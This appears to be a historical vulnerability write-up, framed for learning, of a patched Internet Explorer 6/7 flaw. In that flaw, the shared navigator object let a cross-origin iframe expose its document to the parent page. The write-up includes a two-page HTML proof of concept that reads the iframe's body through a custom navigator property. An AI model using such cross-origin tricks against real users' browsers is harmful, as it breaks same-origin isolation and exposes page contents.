The navigator object is shared across all frames in the same browser process — it’s the same object regardless of which domain’s script is running. This means a cross-origin page can store a reference to its own document in a custom navigator property, and the parent page can read it with no restrictions. No same-origin check is performed when accessing custom properties on navigator.
index.html (attacker’s page):
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD><TITLE>pseudoXDomain_NavigatorSharedPropertiesAndMethods IE6 & IE7</TITLE></HEAD>
<BODY>
<CENTER>
<FONT FACE="Tahoma" SIZE="2">
<H2>navigator ---> The "Shared" object</H2>
This is a similar to the [WOOBR #956271] bug. In this case, you can create properties in the navigator object, and because it's the
same for all IFRAMES, you will be able to access those properties with no restrictions at all. You can share anything
from one trident to the others: objects (document), methods (eval, execScript, whatever), etc.
<BR><BR>
It's a "pseudo xDomain" because the target URL needs to do something: <B>navigator.xDocument = document;</B><BR>
After that, the top window (using navigator.xDocument) will access the document of the target IFRAME.<BR><BR>
<IFRAME SRC="http://www.iframe.com/crash/20/otherdomain.html"></IFRAME><BR><BR>
<INPUT TYPE="BUTTON" ONCLICK="alert(navigator.xDocument.body.outerHTML);" VALUE="Click this button when the IFRAME contents are loaded"><BR>
<B>alert(navigator.xDocument.body.outerHTML);<B>
</FONT>
</CENTER>
</BODY>
</HTML>
otherdomain.html:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD><TITLE>This file should be in a different domain</TITLE></HEAD>
<BODY>
<FONT FACE="Tahoma" SIZE="2">I've just done a <B>navigator.xDocument=document</B> so the top window can access my document.<BR> Press the BIG BUTTON now.</FONT>
<SCRIPT LANGUAGE="JavaScript">
navigator.xDocument=document;
</SCRIPT>
</BODY>
</HTML>
Because the navigator object is a singleton shared across all Trident instances in the process, it acts as a cross-origin message channel. Anything stored on it — documents, functions, eval handles — is accessible to every frame. The fix was to make navigator behave as a per-origin object.
Found during my years at Microsoft (2006–2014). These bugs were patched long ago — shared here as a historical record for learning purposes.